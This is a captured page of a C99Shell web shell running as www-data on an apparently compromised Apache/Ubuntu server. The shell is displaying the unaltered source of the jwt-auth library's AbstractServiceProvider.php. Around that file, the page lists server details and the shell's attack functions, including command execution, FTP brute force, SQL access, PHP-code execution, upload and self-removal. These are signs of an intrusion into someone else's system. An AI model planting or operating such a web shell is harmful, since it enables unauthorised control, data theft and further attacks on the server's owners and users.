!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff/vendor/tymon/jwt-auth/src/Providers/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractServiceProvider.php (10.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of jwt-auth.
 *
 * (c) Sean Tymon <tymon148@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Tymon\JWTAuth\Providers;

use 
Illuminate\Support\ServiceProvider;
use 
Namshi\JOSE\JWS;
use 
Tymon\JWTAuth\Blacklist;
use 
Tymon\JWTAuth\Claims\Factory as ClaimFactory;
use 
Tymon\JWTAuth\Console\JWTGenerateSecretCommand;
use 
Tymon\JWTAuth\Contracts\Providers\Auth;
use 
Tymon\JWTAuth\Contracts\Providers\JWT as JWTContract;
use 
Tymon\JWTAuth\Contracts\Providers\Storage;
use 
Tymon\JWTAuth\Factory;
use 
Tymon\JWTAuth\Http\Middleware\Authenticate;
use 
Tymon\JWTAuth\Http\Middleware\AuthenticateAndRenew;
use 
Tymon\JWTAuth\Http\Middleware\Check;
use 
Tymon\JWTAuth\Http\Middleware\RefreshToken;
use 
Tymon\JWTAuth\Http\Parser\AuthHeaders;
use 
Tymon\JWTAuth\Http\Parser\InputSource;
use 
Tymon\JWTAuth\Http\Parser\Parser;
use 
Tymon\JWTAuth\Http\Parser\QueryString;
use 
Tymon\JWTAuth\JWT;
use 
Tymon\JWTAuth\JWTAuth;
use 
Tymon\JWTAuth\JWTGuard;
use 
Tymon\JWTAuth\Manager;
use 
Tymon\JWTAuth\Providers\JWT\Lcobucci;
use 
Tymon\JWTAuth\Providers\JWT\Namshi;
use 
Tymon\JWTAuth\Validators\PayloadValidator;

abstract class 
AbstractServiceProvider extends ServiceProvider
{
    
/**
     * The middleware aliases.
     *
     * @var array
     */
    
protected $middlewareAliases = [
        
'jwt.auth' => Authenticate::class,
        
'jwt.check' => Check::class,
        
'jwt.refresh' => RefreshToken::class,
        
'jwt.renew' => AuthenticateAndRenew::class,
    ];

    
/**
     * Boot the service provider.
     *
     * @return void
     */
    
abstract public function boot();

    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
$this->registerAliases();

        
$this->registerJWTProvider();
        
$this->registerAuthProvider();
        
$this->registerStorageProvider();
        
$this->registerJWTBlacklist();

        
$this->registerManager();
        
$this->registerTokenParser();

        
$this->registerJWT();
        
$this->registerJWTAuth();
        
$this->registerPayloadValidator();
        
$this->registerClaimFactory();
        
$this->registerPayloadFactory();
        
$this->registerJWTCommand();

        
$this->commands('tymon.jwt.secret');
    }

    
/**
     * Extend Laravel's Auth.
     *
     * @return void
     */
    
protected function extendAuthGuard()
    {
        
$this->app['auth']->extend('jwt', function ($app$name, array $config) {
            
$guard = new JWTGuard(
                
$app['tymon.jwt'],
                
$app['auth']->createUserProvider($config['provider']),
                
$app['request']
            );

            
$app->refresh('request'$guard'setRequest');

            return 
$guard;
        });
    }

    
/**
     * Bind some aliases.
     *
     * @return void
     */
    
protected function registerAliases()
    {
        
$this->app->alias('tymon.jwt'JWT::class);
        
$this->app->alias('tymon.jwt.auth'JWTAuth::class);
        
$this->app->alias('tymon.jwt.provider.jwt'JWTContract::class);
        
$this->app->alias('tymon.jwt.provider.jwt.namshi'Namshi::class);
        
$this->app->alias('tymon.jwt.provider.jwt.lcobucci'Lcobucci::class);
        
$this->app->alias('tymon.jwt.provider.auth'Auth::class);
        
$this->app->alias('tymon.jwt.provider.storage'Storage::class);
        
$this->app->alias('tymon.jwt.manager'Manager::class);
        
$this->app->alias('tymon.jwt.blacklist'Blacklist::class);
        
$this->app->alias('tymon.jwt.payload.factory'Factory::class);
        
$this->app->alias('tymon.jwt.validators.payload'PayloadValidator::class);
    }

    
/**
     * Register the bindings for the JSON Web Token provider.
     *
     * @return void
     */
    
protected function registerJWTProvider()
    {
        
$this->registerNamshiProvider();
        
$this->registerLcobucciProvider();

        
$this->app->singleton('tymon.jwt.provider.jwt', function ($app) {
            return 
$this->getConfigInstance('providers.jwt');
        });
    }

    
/**
     * Register the bindings for the Lcobucci JWT provider.
     *
     * @return void
     */
    
protected function registerNamshiProvider()
    {
        
$this->app->singleton('tymon.jwt.provider.jwt.namshi', function ($app) {
            return new 
Namshi(
                new 
JWS(['typ' => 'JWT''alg' => $this->config('algo')]),
                
$this->config('secret'),
                
$this->config('algo'),
                
$this->config('keys')
            );
        });
    }

    
/**
     * Register the bindings for the Lcobucci JWT provider.
     *
     * @return void
     */
    
protected function registerLcobucciProvider()
    {
        
$this->app->singleton('tymon.jwt.provider.jwt.lcobucci', function ($app) {
            return new 
Lcobucci(
                
$this->config('secret'),
                
$this->config('algo'),
                
$this->config('keys')
            );
        });
    }

    
/**
     * Register the bindings for the Auth provider.
     *
     * @return void
     */
    
protected function registerAuthProvider()
    {
        
$this->app->singleton('tymon.jwt.provider.auth', function () {
            return 
$this->getConfigInstance('providers.auth');
        });
    }

    
/**
     * Register the bindings for the Storage provider.
     *
     * @return void
     */
    
protected function registerStorageProvider()
    {
        
$this->app->singleton('tymon.jwt.provider.storage', function () {
            return 
$this->getConfigInstance('providers.storage');
        });
    }

    
/**
     * Register the bindings for the JWT Manager.
     *
     * @return void
     */
    
protected function registerManager()
    {
        
$this->app->singleton('tymon.jwt.manager', function ($app) {
            
$instance = new Manager(
                
$app['tymon.jwt.provider.jwt'],
                
$app['tymon.jwt.blacklist'],
                
$app['tymon.jwt.payload.factory']
            );

            return 
$instance->setBlacklistEnabled((bool) $this->config('blacklist_enabled'))
                            ->
setPersistentClaims($this->config('persistent_claims'));
        });
    }

    
/**
     * Register the bindings for the Token Parser.
     *
     * @return void
     */
    
protected function registerTokenParser()
    {
        
$this->app->singleton('tymon.jwt.parser', function ($app) {
            
$parser = new Parser(
                
$app['request'],
                [
                    new 
AuthHeaders,
                    new 
QueryString,
                    new 
InputSource,
                ]
            );

            
$app->refresh('request'$parser'setRequest');

            return 
$parser;
        });
    }

    
/**
     * Register the bindings for the main JWT class.
     *
     * @return void
     */
    
protected function registerJWT()
    {
        
$this->app->singleton('tymon.jwt', function ($app) {
            return (new 
JWT(
                
$app['tymon.jwt.manager'],
                
$app['tymon.jwt.parser']
            ))->
lockSubject($this->config('lock_subject'));
        });
    }

    
/**
     * Register the bindings for the main JWTAuth class.
     *
     * @return void
     */
    
protected function registerJWTAuth()
    {
        
$this->app->singleton('tymon.jwt.auth', function ($app) {
            return (new 
JWTAuth(
                
$app['tymon.jwt.manager'],
                
$app['tymon.jwt.provider.auth'],
                
$app['tymon.jwt.parser']
            ))->
lockSubject($this->config('lock_subject'));
        });
    }

    
/**
     * Register the bindings for the Blacklist.
     *
     * @return void
     */
    
protected function registerJWTBlacklist()
    {
        
$this->app->singleton('tymon.jwt.blacklist', function ($app) {
            
$instance = new Blacklist($app['tymon.jwt.provider.storage']);

            return 
$instance->setGracePeriod($this->config('blacklist_grace_period'))
                            ->
setRefreshTTL($this->config('refresh_ttl'));
        });
    }

    
/**
     * Register the bindings for the payload validator.
     *
     * @return void
     */
    
protected function registerPayloadValidator()
    {
        
$this->app->singleton('tymon.jwt.validators.payload', function () {
            return (new 
PayloadValidator)
                ->
setRefreshTTL($this->config('refresh_ttl'))
                ->
setRequiredClaims($this->config('required_claims'));
        });
    }

    
/**
     * Register the bindings for the Claim Factory.
     *
     * @return void
     */
    
protected function registerClaimFactory()
    {
        
$this->app->singleton('tymon.jwt.claim.factory', function ($app) {
            
$factory = new ClaimFactory($app['request']);
            
$app->refresh('request'$factory'setRequest');

            return 
$factory->setTTL($this->config('ttl'))
                           ->
setLeeway($this->config('leeway'));
        });
    }

    
/**
     * Register the bindings for the Payload Factory.
     *
     * @return void
     */
    
protected function registerPayloadFactory()
    {
        
$this->app->singleton('tymon.jwt.payload.factory', function ($app) {
            return new 
Factory(
                
$app['tymon.jwt.claim.factory'],
                
$app['tymon.jwt.validators.payload']
            );
        });
    }

    
/**
     * Register the Artisan command.
     *
     * @return void
     */
    
protected function registerJWTCommand()
    {
        
$this->app->singleton('tymon.jwt.secret', function () {
            return new 
JWTGenerateSecretCommand;
        });
    }

    
/**
     * Helper to get the config values.
     *
     * @param  string  $key
     * @param  string  $default
     * @return mixed
     */
    
protected function config($key$default null)
    {
        return 
config("jwt.$key"$default);
    }

    
/**
     * Get an instantiable configuration instance.
     *
     * @param  string  $key
     * @return mixed
     */
    
protected function getConfigInstance($key)
    {
        
$instance $this->config($key);

        if (
is_string($instance)) {
            return 
$this->app->make($instance);
        }

        return 
$instance;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0175 ]--